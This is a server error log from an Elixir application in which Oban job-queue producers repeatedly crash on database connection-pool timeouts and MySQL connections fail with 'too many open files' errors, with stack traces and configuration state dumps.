State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:43:39.237845Z], limit: 3, uuid: "3bff3591-2e3a-4a52-969c-6ffd61bdf897", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:39.237855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67287>, refresh_timer: #Reference<0.2525715032.1099431938.67286>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:43:39.238773Z], limit: 10, uuid: "bcf8e0d4-7af0-403c-a18e-d49b2eb37f36", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:39.238778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.217853>, refresh_timer: #Reference<0.2525715032.1077673987.50861>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:51.653000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:53.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:53.775000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:56.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:01.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:02.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:02.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:02.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:43:51.239440Z], limit: 50, uuid: "a32f8ded-773d-47dd-a6e8-da50e923e4a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:51.239445Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74585>, refresh_timer: #Reference<0.2525715032.1068498948.74558>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:43:51.241133Z], limit: 10, uuid: "00fc133a-c3f1-42c5-9686-85e035a9f405", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:51.241138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74583>, refresh_timer: #Reference<0.2525715032.1068498948.74574>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:43:51.239609Z], limit: 3, uuid: "79c10fdc-b806-4cc3-9034-f976708bd4d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:51.239614Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74586>, refresh_timer: #Reference<0.2525715032.1068498948.74560>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:43:51.239511Z], limit: 5, uuid: "bb34c3ee-95bd-47d5-968d-9fd0375556d0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:51.239517Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74584>, refresh_timer: #Reference<0.2525715032.1068498948.74557>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:43:51.239260Z], limit: 20, uuid: "2288240d-8a73-4229-b22c-bbd69fadbe9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:51.239266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74582>, refresh_timer: #Reference<0.2525715032.1068498948.74546>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:43:51.238946Z], limit: 5, uuid: "2f7fef73-7e57-4c92-81d5-7d69ebf482c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:51.238952Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218114>, refresh_timer: #Reference<0.2525715032.1121189889.218087>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:03.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:04.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:10.008000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:11.378000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:12.787000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:13.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:13.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
